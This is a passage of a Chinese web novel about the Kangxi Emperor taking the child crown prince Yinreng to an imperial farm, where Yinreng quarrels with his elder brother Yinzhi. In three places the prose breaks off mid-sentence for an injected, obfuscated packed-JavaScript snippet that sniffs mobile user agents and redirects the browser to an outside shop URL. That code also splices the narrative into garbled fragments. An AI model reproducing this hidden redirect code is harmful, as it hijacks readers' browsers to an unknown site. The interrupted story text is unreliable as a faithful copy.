太皇太后不紧不慢地说：“他既是太子，将来要管着天下百姓，总得知道粮食是怎么来的，知道百姓种庄稼有多辛苦。你若觉得在宫里不妥，不是还有皇庄吗？让他去庄子上看看，那里自有庄头农户打理，他既长了见识，又不失体统，岂不两全其美？” 正说着，外面通传佟贵妃来了。康熙心里有些尴尬，毕竟这次是他儿子主动招惹了自己这个表妹，顿时有些头疼要如何安抚。 佟贵妃眼圈微红，显然是得知爱花被拔，她正要诉说委屈。却听太皇太后温和地开口：“贵妃来得正好，哀家正有件事要同你说……” 她三言两语便将佟贵妃的注意力引开，顺势带着她往慈宁宫方向走去，临走前还递给康熙一个“剩下的事你自己处理”的眼神。 康熙瞧着另一个“受害者”，心里的那点无奈和火气，竟奇异地平衡了不少，甚至有点想笑。 待太皇太后和贵妃走远，康熙一低头，就看见胤礽正拽着他的衣袍。 他小声问：“阿玛，皇庄……是什么地方呀？我们是要出去玩吗？” 康熙看着他天真无邪的眼睛，心中的最后一丝不快也消散了。 他弯下腰，将小家伙抱起来，笑叹道：“你呀……就知道玩。朕还没决定要不要带你去呢，这就迫不及待了，嗯？” 胤礽一听这话，就知道事情有商量的余地。他很是干脆地朝着康熙脸上“吧唧”一下亲了上去。 “阿玛，您最好了，您最最最最好了。”胤礽声音软软的，字字句句都浸满了依恋，“阿玛就是保成的天，保成的地，是保成的一切。” 康熙眼底笑意更深，指指自己的另一边脸颊，意思不言而喻。 下一秒，一个温热又带着几分湿意的亲亲，便贴在了皇帝指的那侧脸颊上。 15.第 15 章 自从康熙答应他要去皇庄后，胤礽就每天盼望着这一天早点到来。 只是三藩战事吃紧，康熙忙的脚不沾地，和陀螺一样连轴转，下了朝就扎进奏章堆里，批得昏天黑地。 胤礽嘴上不提，依旧每日笑着面对他，他越是这样乖巧懂事，康熙心里反倒越不是滋味，总觉得亏欠了儿子。 康熙以为他早该等得没了兴致，却不知自家这位太子爷的小日子过得比谁都充实。 胤礽早上起来先去慈宁宫给太皇太后请安，在老祖宗那边吃完糕点再顺路去钟粹宫找胤祉和荣宪玩。 胤礽还记着胤祉上次吃了奶糖的事，在心中帮他记着欠自己的两个积分。甚至还贴心得帮他翻了倍，准备以后连本带利要回来。 到了下午，他便乖乖待在康熙身边，自己翻画册、解九连环，或者偷偷打量批奏折的皇阿玛。若是画册看腻了，就软磨硬泡地求小七带他进空间学点新知识。 晚上则老老实实写康熙布置的大字，睡前美滋滋地看两集动画片…… 所以说，胤礽的日子过得有滋有味，压根不像康熙想的那般可怜巴巴。 不过小家伙偶尔在学习的间隙也会托着腮帮子叹气：阿玛办事怎么这么慢呀，到底要等到什么时候嘛。 但这念头也就像水面的涟漪，一晃就散 ——小七总能适时掏出新鲜有趣的玩意儿，瞬间吸引他全部的注意力。 等到前线军情终于露出好转的苗头，大半个月已经悄无声息地溜走了。 这日清晨，胤礽还蜷在被窝里睡得正香，迷迷糊糊间，感觉有人轻轻拍着他的胳膊。 “太子爷……太子爷？” “时辰不早了，您该起身了……” 胤礽皱着小眉头翻了个身，整张脸都埋进了软枕里，含糊地嘟囔： “别吵……孤还要睡……” 陈嬷嬷望着床上那团蜷成球的小身影，无奈地叹了口气。太子爷这赖床的毛病她最清楚，叫他起床比登天还难。 想到万岁爷上朝前的吩咐，她只得硬着头皮又凑近些，正犹豫着要不要再唤两声，却见康熙已大步流星地从外间走了进来。 今日朝事结束得早，康熙回来得也快。他一眼瞧见陈嬷嬷那为难的模样，再看向床上那鼓鼓囊囊的锦被团，心里顿时明了。 这是小祖宗又赖床了。 他抬手止住陈嬷嬷要行礼的动作，比了个噤声的手势，示意她退到一旁。 自己则放轻脚步走到床边，从袖袋里取出一根柔软的丝绸带子，轻轻在胤礽鼻尖前扫了扫。 “唔……” 胤礽正梦见追着一只大兔子跑，忽然觉得鼻子痒丝丝的，他不耐烦地挥了挥手，那痒意却缠着不走。 “阿嚏——！” 一个响亮的喷嚏硬是把他自己给打醒了。 小太子气鼓鼓地睁开眼，迷迷糊糊地四下张望，准备看看是哪个胆大包天的，敢扰他的清梦。 嗯？没人？ 再定睛一瞧，一条鹅黄色的带子正在眼前悠悠地晃。他顺着带子往上看，正对上了康熙含笑的凤眸。 “阿玛......” 胤礽拖长了尾音，语气里满是哀怨，觉得他家阿玛真是越来越幼稚了，居然用这种小把戏吵人睡觉。 “朕都下朝回来了，太子爷还在梦里会周公呢？等过两年你正式进学，看你还怎么赖床。” 康熙伸手把他从被窝里捞出来，点了点他的鼻尖。 “孤还是小孩子嘛，”胤礽理直气壮地挺挺胸，“小孩子就是要多睡才能长得高！” 他最近学了不少新道理，正好用上。 “就你机灵，”康熙被他逗得低笑，凑近他耳边，压低声音问，“那你还想不想去皇庄了？” “今天就去吗？”胤礽瞬间清醒，直愣愣地盯着康熙。 见康熙含笑点头，他那张小脸立刻由阴转晴，连刚才被吵醒的那点小脾气也烟消云散了。 好吧，看在能出宫玩的份上，他就不计较啦。 此刻再看康熙脸上那些浅浅的痘痕，胤礽都觉得亲切顺眼了许多。 候在一旁的陈嬷嬷适时上前，笑着抱胤礽去梳洗。等他换好衣裳，精神抖擞地蹦跳出来，刚要往殿外冲，就被康熙一把捞了回来。 “阿玛？” 胤礽疑惑地回头。 康熙挑眉，右手轻轻拎住他的后领：“你打算就穿这身出去？” 胤礽低头看看自己杏黄色的太子常服，一脸茫然：“这衣裳怎么了？不好看吗？” 康熙简直拿他没办法：“你是想让全京城的人都围过来，瞧瞧皇上和太子微服出巡么？” 胤礽这才后知后觉地反应过来，他这身颜色在宫里穿着是尊贵，到了宫外，简直就是个明晃晃的招牌。 可他几乎所有的常服都带着黄色纹饰呀！ 胤礽顿时垮了脸，眼巴巴地望着康熙：难道就因为这身衣服，今天就去不成皇庄了？ 看着他愁得快要皱成包子的小脸，康熙终于忍不住低笑出声。 他抬手轻拍，一旁的宫人立即躬身捧上来两套叠得整整齐齐的浅绿色常服。 胤礽看着这一大一小的两套衣服，顿时恍然大悟。 什么嘛？原来阿玛早就准备好了，还故意逗他玩。 他悄悄飞给康熙一记眼刀，腮帮子鼓起，从鼻子里轻轻哼出一声。 康熙被他这副气哼哼的模样逗得想笑，但又怕再逗下去真把小家伙惹毛，便示意宫人上前替太子更衣。 浅绿色的杭绸常服一上身，衬得胤礽愈发唇红齿白。 陈嬷嬷特意给他编了条细辫子，用同色丝带仔细缠好，末梢还缀了两颗毛茸茸的小球，一走就跟着轻轻晃荡。 胤礽伸手拨了拨额前碎发，觉得似乎长了些。 前两日嬷嬷要给他修，他嫌太短不好看，硬是没让。 现在看，倒是该修一修了。 这边刚收拾妥当，康熙也已换好衣裳出来。 同样是浅绿长衫，玉带束腰，腰间坠了枚温润白玉。康熙还特地拿了把折扇，在手中轻轻摇着，竟有种说不出的风流倜傥。 宫人们伺候着两位主子上了马车，车轮辘辘，驶出宫门，一路朝着城南的皇庄行去。 马车内宽敞舒适，底下铺着厚实的鹿绒垫子。胤礽被康熙抱在膝头，康熙随手拿了本书，指着上面的字教他认。 小家伙一开始还念得有模有样，可当窗外的喧哗人声渐渐大起来，他那点心思就全飞了。 小眼神一个劲儿地往车窗缝隙外头瞟，书上的字是一个也看不进去了。 康熙瞧他这坐立不安的样子，心里觉得好笑，也不再拘着他，大手一挥：“罢了，去玩吧。” “阿玛最好啦！” 胤礽欢呼一声，立刻迫不及待地唤车旁的侍卫将帘子掀开。 霎时间，市井的喧嚣热浪般扑面而来。小贩清亮的吆喝、清脆的马蹄声、孩童追逐的嬉笑…… 种种声音交织在一起，织出一片胤礽从未见过的、鲜活滚烫的烟火气。 大约过了大半个时辰，马车缓缓停稳。 皇庄依山傍水而建，眼前田埂整齐如棋盘，农人们正弯腰忙碌，偶尔传来几声悠长的赶牛号子。 远处点缀着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574924|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几间青瓦白墙的农舍，风里送来泥土与青苗的清新气息。 早早候在庄前的负责人是个皮肤黝黑的汉子，一双手布满厚茧，一看便是常年在地里劳作的老实人。 马车刚一停稳，庄头就赶忙小跑着迎了上来，手里攥着块干净的粗布，不停地擦着手，脸上带着庄稼人见到贵人的局促与紧张。 能坐这样华丽马车来的，定然是宫里了不得的大人物，今日不知是什么情况，这些大人竟接二连三的来。 他虽不知眼前就是皇帝，却也明白礼数不可废，行过礼后便恭恭敬敬地垂手站在一旁，等着吩咐。 康熙抱着胤礽下了马车，将小家伙稳稳放在地上，随即示意梁九功将那袋土豆拿过来，递到庄头面前：“瞧瞧，这东西在你庄子里，能种吗？” 庄头双手接过那洗过的块茎，翻来覆去仔细端详，又用指腹小心捏了捏硬度。 半晌，还是老实巴交地摇了摇头：“回贵人的话，这东西……怕是种不了。” “为什么不行？”胤礽一听就急了，从康熙身后探出脑袋，乌溜溜的眼睛紧盯着庄头手里的土豆，“这不是很好的粮食吗？” 他脑海里全是小七在动画片里展示过的、那堆成小山般的土豆，恨不得它们立刻就在这皇庄里落地生根。 庄头被这清脆的童声吓了一跳，这才注意到贵人身边还有个穿着浅绿衣裳、粉雕玉琢的小娃娃，心知这必是位小主子，忙躬身解释： “小的虽没见过此物，但瞧它模样、手感，倒与芋头有几分相似。芋头这东西最忌阴冷潮湿，须得等天气彻底暖了才能下种。 若是像麦子似的，早春就急急埋进冷土里，不出一个月，种子怕是……怕是要烂在地里了。” “那我们等到明年开春以后再种，不就行了吗？”胤礽仰着小脸追问，觉得这问题简单极了。 庄头嘴唇动了动，下意识想再说点什么，抬眼却见康熙几不可察地微微摇了摇头。 他虽是个粗人，这点眼色还是有的，虽心下不解，却立刻把到了嘴边的话咽了回去。 他连连点头：“是是是，小公子说得是。等到明年开春，奴才一定仔细试试看！” 胤礽这才心满意足，转过身拉住康熙的衣角轻轻摇晃，满眼期待：“阿玛，那我们明年再来看，好不好呀？” 康熙眼底含笑，摸了摸他的头：“好，阿玛答应你。” 随即又温声哄道，“保成先去那边田埂上玩一会儿，可好？阿玛同管事说几句话就来。” “嗯！” 得了承诺的胤礽立刻高兴起来，点点头，转身就蹦蹦跳跳地朝着广阔的田埂跑去。 梁九功不敢怠慢，赶忙带着小柱子和几个宫人跟了上去。 待那小小的身影跑远了，康熙才收回目光，看向庄头，平静地追问：“你与我说实话，是不是即便开春了，这土豆在庄里也难种？” 他方才看得分明，这庄头神色间另有隐忧。 庄头叹了口气，脸上露出几分无奈。 他搓了搓粗粝的手掌，坦诚道：“贵人猜的不错。这东西也不是完全种不活，就是长出来的个头会小，还容易烂。 咱们皇庄的地，虽然肥沃，但要是赶上连绵的雨天，这块茎闷在湿泥里，不出几日便要烂根。 奴才……奴才是怕到头来种不成，白白糟蹋了贵人的好东西，还让你们空欢喜一场。” 康熙望着远处那个在田埂上撒欢的浅绿色小身影，沉吟片刻道：“无妨。你只管放手试种一季。成与不成，皆是经验。” 庄头心下一定，连忙躬身应道：“嗻！奴才一定尽心！” 16.第 16 章 胤礽在田埂边跑得有些累了，便寻了个草垛坐下歇脚。他刚拿起水囊，旁边忽然伸来一只手，递过一根翠绿带刺、还沾着晨露的黄瓜。 抬头一看，是个穿着粗布短打的农夫，挎着个竹篮，里头装着几根刚摘下的新鲜黄瓜。 胤礽眨了眨眼，刚想伸手去接，身后的梁九功便一个箭步上前，不着痕迹地拦住了。 “小少爷，”梁九功压低声音，面带难色，“外头的东西，怕是……不干净，仔细吃了肚子疼。” 那农夫见状，连忙从篮子里另拿起一根，“咔嚓”咬了一大口，憨厚地笑道：“贵人放心，这都是今早现摘的，没沾半点脏东西，清甜着呢！” 胤礽看看梁九功，又看看那水灵的黄瓜，想了想，有了主意：“那谙达你先替我尝尝？若没事，我再吃。” 梁九功哪里敢做主，只得赔笑：“要不……容奴才先去请示一下老爷？” 得了康熙的首肯后，梁九功才接过那根黄瓜。他不敢怠慢，小主子金贵，若是吃了外头的东西生了病，他第一个逃不了。 他里外仔细查验一番，又悄悄用银簪试过，这才取出随身带的小刀将黄瓜切成适口的小块，随后放在干净帕子上。 “小少爷，您尝尝。”梁九功递给胤礽。 胤礽捏起一块放入口中，清脆一声，清甜的汁水立刻盈满口腔。他眼睛一亮，惊喜地看向农夫：“真的好甜！” 农夫笑容淳朴：“这是特意给宫里贵人备的，一点不敢马虎。就是精贵，产量少，咱们庄户人自己都舍不得吃。” “那你们平日都吃什么呀？”胤礽捧着黄瓜，一边小口啃着，一边好奇地问。 “大多时候喝小米粥，再配些自家腌的咸菜或是地里随便长的菜叶子，能吃饱就行。” 农夫语气平常，仿佛在说一件再自然不过的事。 “天天喝粥，不会腻吗？” 胤礽皱着眉。 “腻啊！”农夫摸了摸头，哈哈一笑，“但比外头那些流离失所的人，咱们能有口安稳饭吃，已是天大的福气喽。遇上荒年，皇庄好歹能让咱不饿死，这就够啦。” 胤礽心里莫名一沉，下意识抬头望向正与庄头说话的康熙，语气笃定：“皇上那么厉害，以后一定能让所有人都吃饱饭！” 农夫只当是小孩子天真的话语，笑着摆了摆手，没再接话。 皇帝自然是圣明的，可这天灾人祸的事儿，哪是说让所有人都吃饱饭就能成真的呢？ 胤礽见他分明不信，心里顿时涌上一股说不清的憋闷和委屈。他蹲在田埂边，攥着手里没吃完的黄瓜，低着头不吭声了。 小柱子拿了块点心过来哄他，他也只是摇摇头，一双眼睛望着无边的田地，不知在想什么。 正暗自难过时，忽然有人轻轻拍了拍他的肩膀。 “你别不高兴啦，这个送给你玩。” 一个活灵活现的草编小兔子，递到了他的眼前。 胤礽抬起头，看见一个比他高大半个头的小男孩，黑黑壮壮的，正咧着嘴笑，露出一口格外白的牙。 小柱子见有个陌生孩子站到太子面前，脚步一动就想把人拦住。 可还没等她迈步，梁九功就伸手在他头上重重敲了一下，低声骂道：“你这笨小子，就不能动动脑子吗？” 小柱子捂住脑袋，满脸不解：“师傅，不是您让我机灵点吗？” 自从上次梁九功知道他在殿外和太子爷的对话后，就三令五申的命他机灵点。 梁九功提醒道：“你也不想想，有侍卫和咱在这儿，若不是万岁爷的意思，那小男孩能随随便便接近小主子吗?” “师傅，您的意思是......” 见他还没反应过来，梁九功又道：“惠嫔娘娘生的那个阿哥还没回宫呢。” 小柱子叫道：“师傅，您是说养在宫外的大阿哥吗?” 梁九功点点头,随即拉着小柱子，师徒二人站在一旁守着两位金贵的小主子。 这男孩正是胤褆，在胤礽出生前，他是康熙唯一活下来的孩子。 他一直被养在大臣噶礼家，今日是跟着噶礼来皇庄玩的。 胤褆早就注意到了这个长得比画上仙童还好看的娃娃。 他见胤礽低着头，一个人蹲在田埂旁，小小的一只抱成一团，像极了他在噶礼家见过的那些福晋们养的猫仔。 摸样看着怪可怜的。 他鬼使神差地捡了几根稻草，三下五除二得编了个草兔子，颠颠得跑过去，递到这个漂亮猫仔面前。 "给你的，快拿着。"胤褆晃了晃这草兔子。 胤礽一愣，盯着那只歪歪扭扭却活灵活现的草兔子，眼神晃了晃。 “孤......” 他刚想开口说话，可话到嘴边，猛地想起康熙叮嘱过，不能暴露自己是太子。 他咽了口唾沫，突然改口：“我......我不要你的东西。” 话说的太急，胤礽胸口一阵发紧，竟是不小心打了个“嗝”出来。 胤褆本来被拒绝还有些失落，嘴角刚垮下去，可一听到这嗝，忍不住“噗嗤”笑出声。 胤礽的脸腾得红了，羞恼交加，瞪着胤褆。 这人怎么回事?笑的真讨厌！ 他攥紧了小拳头，刚要发火，却瞥见那草兔子的耳朵动了一下，一抖一抖的，像是活了一般。 胤礽眨眨眼，怀疑自己看错了。 胤褆见他注意力被吸引，心里顿时得意起来，又故意扯了扯兔子尾巴。草编的兔子耳朵又跟着晃了起来。 胤礽眼睛倏地亮了，忍不住发出“哇”得一声，方才被他嘲笑的怒气，瞬间散了大半。 “你别生气了，”胤褆往前凑了凑，带着些讨好，“刚刚我不是故意笑你的。咱们一起玩好不好？” 见胤礽面上还是刚刚那副冷冰冰的样子，偏偏眼神又落在他的兔子身上，胤褆继续说，“我叫保清，你叫什么啊？” 说着，胤褆直接把兔子塞进他手心里。 “这个给你，就当我赔礼道歉了。” 胤礽手指不自觉捏着草兔子，稻草的粗糙感显得尤其陌生，他忽然有些不好意思。他以前没有接触过同龄孩子，第一个接触到的还是二姐姐。 虽然二姐姐也很好，但她毕竟是个女孩子，有些时候，胤礽跟她也不是特别玩的到一起。 他低头看了看兔子，又偷偷瞄了眼胤褆那张笑得没心没肺的脸。 这人看着傻乎乎的，倒也不讨厌。 胤礽抿了抿唇，小声道：“你叫我保成吧，我阿玛都这么叫我。”他顿了顿，捏着兔子的手紧了紧，补充道：“这兔子……还挺好玩的。” “宝澄？” “嗯。” “宝澄。宝澄。” 胤褆又念叨了两遍，笑道：“你这名字念着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586867|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和我的好像啊！” 胤礽点点头，嘴角不自觉得翘了翘，他也觉得眼前这个哥哥的名字和自己的有点像。 他心里忽然就对他生出了点亲切感来。 胤褆见他心情好了，拉起胤礽的手腕就往一边跑：“我带你去个好地方，那边堆了好多稻草，能编好多好多兔子。” 胤礽被他拉着跑，心里又慌又期待。 “我不会编。” “没事，我教你。”胤褆跑得飞快，却还不忘回头冲他笑。 跑到稻草堆旁时，胤褆不知道从哪里拿过来块软垫，用袖子擦干净灰才铺在地上，随后招呼胤礽坐下。 “宝澄，你坐这个。别让稻草扎着你，会疼的。” 胤礽自然得坐在垫子上，他被人伺候惯了，见这个哥哥这么贴心也不觉得有什么。 胤褆也不废话，抓起几根稻草，指尖翻飞，不过三两下的功夫，又一个小巧的草兔子就成型了。 他把新编的兔子递到胤礽面前：“你看，就是这样编的，不难吧。” 胤礽拍拍手，夸道：“哇，保清，你好厉害！” 胤褆被夸得有点飘，挠了挠头，嘿嘿一笑：“这算啥？你要不要试试？” 胤礽盯着两只草兔子看了看，忽然抬头，试探着问：“保清，你会编老虎吗？” “老虎？”胤褆一挑眉，“你喜欢老虎？” “嗯，我觉得老虎好威风。” “这有什么难的。哥哥这就给你编个大老虎。” 胤褆拍着胸脯保证，语气里满是自信。他抓起一把稻草，手指翻飞得更快了，时不时还抬头看看胤礽，怕他看不懂。 不过片刻，一个威风凛凛的草老虎就编好了，额头上的“王”字用深色稻草编就，连胡子都编的根根分明。 胤礽这下是真感兴趣了，凑过去仔细看着草老虎，眼睛里满是欢喜。 胤褆见他笑了，也跟着乐。 他挑了几根不扎手的稻草递过去，胤礽学着他的样子，认真地编起来。 可老虎的编发比兔子复杂多了，胤礽又是第一次学，手指很快就有些发酸了，额头上也冒出了细密的汗珠。 他额前的刘海太长，垂下来挡住了视线。发梢时不时地扫过眼皮，痒得他忍不住想揉眼睛。 他抬起手刚要碰到眼睛，就被胤褆一把拦住了。 “别！”胤褆的语气很认真，“脏手不能揉眼睛，眼睛很重要，揉坏了怎么办？” 胤礽委屈巴巴得看着胤褆，声音软乎乎的：“可是刘海弄得眼睛好痒，不舒服。” “我帮你弄上去。” 胤褆说着，小心翼翼地伸出手，指尖轻轻把他额前的刘海拨到耳后。 指尖碰到胤礽额头时，他顿了顿。 刘海不扎眼了，胤礽低下头继续编老虎，又编了一会儿，他琢磨出了门道，手指的动作也渐渐熟练起来。 终于，他编完了一只草老虎，虽然不如胤褆编的精致，耳朵也歪了点，但胤礽心里却无比满足。 这可是他自己亲手做的！ “保清，你看，我也会了！” 他举着草老虎，开心的笑了起来，脸颊上带着两个浅浅的梨涡，眼睛弯成了好看的弧度。 胤褆看着他的笑容，忽然觉得他比自己在噶礼府上见过的人都要好看，忍不住脱口而出: "宝澄妹妹，你好可爱啊！" 17.第 17 章 听见胤褆的话，胤礽的小眉头瞬间拧成了结。他小嘴抿得紧紧的，一股说不清的别扭感涌上心头。 他可是顶天立地的男子汉，哪点像娇滴滴的妹妹了？ 若是换做小家伙以往的脾气，早该炸毛了。可保清刚刚还在耐心教他编草老虎，这份好意让胤礽心头一软。 况且，小七在空间里给他看的那些动画片也教导过，若是旁人无意犯了错，得先好好同他讲道理，而不是立刻发脾气。 胤礽深吸一口气，努力摆出小大人的摸样，语重心长道：“保清，我不是妹妹。你看清楚，我是男孩子，你不可以这样叫我。” 可胤褆半点不信，傻愣愣得晃了晃脑袋追问：“可你说你叫宝澄啊，哪有男孩子叫这个名字的？” 胤礽：“……” 见他这般固执，胤礽索性从地上捡了根树枝，蹲下身一笔一画认真地写起自己的名字。 写完了，他指着泥地上的字，“喏，你看清楚了，是‘保成’！” 胤褆凑过去盯着地上的字看了好一会儿，仍不死心，又拉了拉胤礽的袖子小声问：“你真不是妹妹？” “不是！”胤礽用力摇头，回答的斩钉截铁。 这人怎么一根筋…… 胤礽懒得再与他争辩，转身就想去拿稻草继续编草老虎。 他还想多编一个，等会儿送给阿当礼物呢。 谁知刚拿起稻草，身旁的人就伸手戳了戳他的胳膊。 “干嘛？” “你真是男娃？” “……是。”他耐着性子应道，手上动作不停。 可没过一会儿，那只手又戳了过来。胤礽咬了咬牙，告诉自己要忍耐。 等到编到一半，胤褆第三次戳他时，胤礽终于炸了。 他一把将编到一半的草老虎摔在地上，挥手打开那只烦人的手：“你有完没完！我都说多少遍了！” ...... 康熙刚和庄头说完皇庄的事，转头就召来噶礼问胤褆在他府上的情形。 噶礼连忙躬身回话：“回皇上，保清在府里养得很好，身子结实得很，看着比刚去时还壮实些。” 康熙微微点头，正要细问。却见梁九功慌慌张跑进来，喘着气说：“皇上、皇上！不好了！两位小阿哥打起来了！” 康熙一愣：“怎么回事？方才不还一起编草绳吗？” 等赶到地方，就见胤礽正追着胤褆跑，时不时伸手想去拍他，而胤褆只敢躲，根本不敢还手。 胤褆嚎道：“我错了！我错了！” 康熙头疼地按了按额角，喝道：“住手！” 胤礽一看见康熙，委屈的情绪瞬间绷不住了，眼眶一红，就朝着康熙扑了过去。 “阿玛……” 他声音里带着哭腔，鼻尖也红了，眼泪眼看就要掉下来。 康熙弯腰抱起他，沉声问侍卫们：“怎么回事？” 侍卫们刚想说话，却被胤礽一声呵斥：“不许说！” 这时，胤褆也灰头土脸蹭到噶礼身边。 噶礼忙问：“保清阿哥，这是怎么了？” 胤褆拍拍裤子上的土，无辜道：“没什么呀，我就夸是他好看，谁知道他就生气了……” 康熙与噶礼都愣住了，面面相觑。 康熙低头看向怀里的胤礽，不解道：“这有什么可气的？” 小家伙不说话。 俗话都说 “三岁看大”，胤礽这般摸样，任谁看了不说一句俊？ 明眼人都能看出太子日后定是龙章凤姿，夸他好看不是很正常吗？ 而且，这话胤礽在宫里也没少听啊？ 正纳闷着，又听胤褆大咧咧地补了一句：“不就是叫了你一声妹妹吗？亏我还给你编了兔子和老虎。” “妹妹？” 康熙这下更懵了，哪来的妹妹？ 还没等他回过神，怀里的胤礽就跟炸毛的小猫似的，“嗷呜” 一嗓子就从他怀里跳下去，朝着胤褆冲过去。 “啊啊啊啊啊你还说！你还说！不许你说了！” 康熙这才反应过来，哪是叫了一声，这怕是喊了不知多少回。 他连忙伸手去拦，可胤礽冲得太急，还好前面的梁九功眼疾手快，一把捞住太子爷的小腰，把人抱回来。 胤礽在半空扑腾：“放孤下来！孤要揍他！” 弄清了原委，康熙一个忍不住，朗声大笑起来。 胤礽简直不敢相信自己的耳朵，仰起小脸呆呆地望着康熙。 阿玛不帮他也就算了，居然还笑话他！ 康熙笑够了，才牵起胤礽的手。小太子正赌气，扭着身子想挣脱，却被康熙牢牢握住。 他另一只手招来胤褆，温声道：“保成，你瞧。这是你哥哥，你们身上流着一样的血，是最亲的兄弟。” 胤褆一直知道自己是皇子，却万万没想到，这个漂亮得像瓷娃娃的孩子就是太子，更没想到方才笑得那般爽朗的男子，竟是他想象中威严无比的皇阿玛…… 这一刻，他心中那个“汗阿玛高大威猛”的幻想，“啪嚓”一声碎了个彻底。 再看向气鼓鼓的胤礽，那点“遇见漂亮妹妹”的窃喜也跟着噼里啪啦碎了一地。 胤褆连忙学着之前在噶礼府上学的礼仪，给康熙行了个不太标准的礼。 “儿臣……给皇阿玛请安。” 康熙伸手揉了揉他的脑袋，含笑点头：“不错，长得够结实。” 胤褆嘿嘿一笑，又转向胤礽，“太子弟弟安。” 胤礽站在一旁，看着康熙摸胤褆的头，心里莫名泛酸，扭过头不理胤褆的问安。 他气呼呼地拽了拽梁九功的衣角，让人抱他回马车上，连个眼神都没给康熙。 康熙轻轻摇头，对胤褆嘱咐道：“你弟弟还小，许多事还不懂。你是哥哥，往后多让着他些，可好？” 见胤褆认真点头，康熙这才让噶礼将他带回去。 回宫的路上，小家伙始终绷着小脸，故意扭着头不看康熙。 康熙见他腮帮子鼓得圆滚滚的，活像塞了两个小包子，心里又是好笑又是怜爱，便放柔了声音哄道： “这是跟谁置气呢？连阿玛都不理了？” 胤礽憋了半晌，才闷闷地说：“阿玛喜欢那个哥哥。” 康熙捏捏他软乎乎的耳垂，耐心解释：“傻孩子，那是你亲哥哥，不是外人。” “我不要哥哥。” 胤礽把头扭得更偏了，心里满是抵触 ，他不想多一个人分走康熙的注意力。 康熙不由失笑：“等你将来做了皇帝，让他在身边帮你不好吗？就像你裕皇伯辅佐阿玛一样。” 他说的裕皇伯正是裕亲王福全，这些年来，这位兄长始终甘当贤王，尽心竭力地辅佐着他。 “不好！”胤礽回答得又快又急，小胳膊紧紧环住康熙的脖子，“我只要阿玛就够了！” 这话听得康熙心头一喜，却又隐隐泛起忧思。 忧的是胤礽对胤褆这么抗拒，他原想借此机会让两个孩子亲近些，日后也好相互扶持，就像福全对他一样。 喜的是小家伙这份毫不掩饰的依恋，令他心中涌起一股难以言喻的满足。 康熙暗叹一声，将胤礽搂入怀中，低声安抚道：“保成，谁都不会越过你去。你要记得，在阿玛心里，你永远是最要紧的。” 胤礽这才慢慢转过头，轻轻 “嗯” 了一声。 这时，小七的声音在他脑海里小声响起。 【其实宝宝你可以和胤褆一起玩的，多跟他相处，有助于你刷分哦。】 胤礽想都没想就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599596|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝了，在心里对小七说：“孤才不和他玩呢，就算要刷分，有荣宪姐姐和胤祉就够了。宫里这么多人，还不够孤刷分吗？” 一想起胤褆竟敢喊他妹妹，他就气不打一处来，才不想跟那家伙打交道呢。 小七见他这般坚决，只好乖乖闭嘴。 一回到宫中，胤礽就闹着要剪头发。 陈嬷嬷吓了一跳，连忙追问：“太子殿下，这是怎么了？好好的怎么突然要剪头发？” 她转头看向跟在后面的梁九功，眼神里满是疑惑。 梁九功只能尴尬地笑笑，也不知道该怎么解释。 总不能说太子是因为被大阿哥叫了 “妹妹”，才想剪短头发证明自己是男孩子吧？ 那边胤礽已经不耐烦地催促起来，陈嬷嬷只好赶紧去取工具。 等头发剪完，胤礽对着镜子左照右照，又伸手摸了摸自己短了一大截的头发，额前的碎发蹭得他额头凉凉的。 这下总该像个男子汉了吧？看那个讨厌的保清以后还敢不敢乱叫！ 翌日，康熙去慈宁宫请安，正巧惠嫔也在场。 太皇太后正尝着新做的土豆泥，随口问起昨日皇庄的情形。康熙便将两个孩子相识的经过当作趣事说了。 惠嫔在一旁听得眼睛发亮，耳朵都快竖起来了，恨不得从皇上的每句话里多抠出点关于保清的细节。 自孩子出生就被送出宫避痘，她这个做母亲的，连面都没见过几回，心里早就想得发疼。 听到最后，惠嫔实在忍不住了，声音带着几分哽咽：“皇上，臣妾实在想念保清……他都这么大了，臣妾却没见过几面……” 康熙瞥她一眼，语气平淡：“这事日后再说。” 其实他昨天也动过心思，想近期把胤褆接回宫，可一想到昨天胤礽那抗拒的模样，又觉得这事得再缓缓。 保清是他第一个活下来的儿子，说不在意是假的，可这份在意若与胤礽的感受放在一起，便显得无足轻重了。 惠嫔还想再求，太皇太后适时开口：“惠嫔，这茶凉了，替哀家换盏热的来吧。” 惠嫔这才惊觉自己方才失态，连忙起身，恭恭敬敬地去斟茶。 待康熙离开慈宁宫，惠嫔又跪到太皇太后膝前，红着眼圈央求：“太皇太后，臣妾……臣妾只想亲眼看看他。保清那孩子，自落地起，臣妾就没能抱上几回……” 